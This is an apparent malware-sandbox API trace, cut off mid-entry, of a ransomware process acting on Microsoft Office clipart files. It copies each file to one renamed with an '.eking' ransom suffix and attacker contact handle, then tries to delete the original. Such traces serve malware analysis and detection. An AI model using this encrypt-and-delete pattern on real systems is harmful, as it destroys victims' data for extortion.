[0263.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0263.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.968] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.968] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0263.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0263.969] ReadFile (in: hFile=0x3a0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1264, lpOverlapped=0x0) returned 1 [0264.003] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1270, lpOverlapped=0x0) returned 1 [0264.005] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.005] CloseHandle (hObject=0x3a0) returned 1 [0264.005] CloseHandle (hObject=0x354) returned 1 [0264.006] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0 [0264.006] SetEvent (hEvent=0x2b8) returned 1 [0264.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0264.007] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=12482) returned 1 [0264.007] CloseHandle (hObject=0x354) returned 1 [0264.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0264.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0264.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0264.009] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.009] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0264.010] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x30c2, lpOverlapped=0x0) returned 1 [0264.026] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x30d0, lpOverlapped=0x0) returned 1 [0264.027] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.028] CloseHandle (hObject=0x354) returned 1 [0264.028] CloseHandle (hObject=0x3a0) returned 1 [0264.028] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0 [0264.029] SetEvent (hEvent=0x2b8) returned 1 [0264.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.047] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5752) returned 1 [0264.047] CloseHandle (hObject=0x3b0) returned 1 [0264.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0264.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0264.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.066] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.067] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0264.068] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1678, lpOverlapped=0x0) returned 1 [0264.076] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1680, lpOverlapped=0x0) returned 1 [0264.077] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.077] CloseHandle (hObject=0x3b0) returned 1 [0264.078] CloseHandle (hObject=0x390) returned 1 [0264.078] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0 [0264.079] SetEvent (hEvent=0x2b8) returned 1 [0264.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.080] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5272) returned 1 [0264.080] CloseHandle (hObject=0x390) returned 1 [0264.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0264.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0264.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.088] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.088] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.089] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1498, lpOverlapped=0x0) returned 1 [0264.095] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x14a0, lpOverlapped=0x0) returned 1 [0264.097] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.097] CloseHandle (hObject=0x390) returned 1 [0264.098] CloseHandle (hObject=0x3b0) returned 1 [0264.098] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0 [0264.101] SetEvent (hEvent=0x2b8) returned 1 [0264.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.102] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3016) returned 1 [0264.102] CloseHandle (hObject=0x3b0) returned 1 [0264.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0264.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0264.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.104] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.104] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0264.296] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xbc8, lpOverlapped=0x0) returned 1 [0264.298] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xbd0, lpOverlapped=0x0) returned 1 [0264.300] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.300] CloseHandle (hObject=0x3b0) returned 1 [0264.300] CloseHandle (hObject=0x3b4) returned 1 [0264.301] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0 [0264.301] SetEvent (hEvent=0x2b8) returned 1 [0264.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.303] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3780) returned 1 [0264.303] CloseHandle (hObject=0x3b4) returned 1 [0264.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0264.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0264.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.304] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.304] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.306] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xec4, lpOverlapped=0x0) returned 1 [0264.308] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xed0, lpOverlapped=0x0) returned 1 [0264.310] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.310] CloseHandle (hObject=0x3b4) returned 1 [0264.310] CloseHandle (hObject=0x3b0) returned 1 [0264.311] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0 [0264.311] SetEvent (hEvent=0x2b8) returned 1 [0264.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.312] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4164) returned 1 [0264.312] CloseHandle (hObject=0x3b0) returned 1 [0264.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0264.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0264.313] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.314] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.314] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0264.315] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1044, lpOverlapped=0x0) returned 1 [0264.385] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1050, lpOverlapped=0x0) returned 1 [0264.387] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.387] CloseHandle (hObject=0x3b0) returned 1 [0264.387] CloseHandle (hObject=0x3b4) returned 1 [0264.388] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0 [0264.388] SetEvent (hEvent=0x2b8) returned 1 [0264.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.389] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=812) returned 1 [0264.390] CloseHandle (hObject=0x3b4) returned 1 [0264.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0264.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0264.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 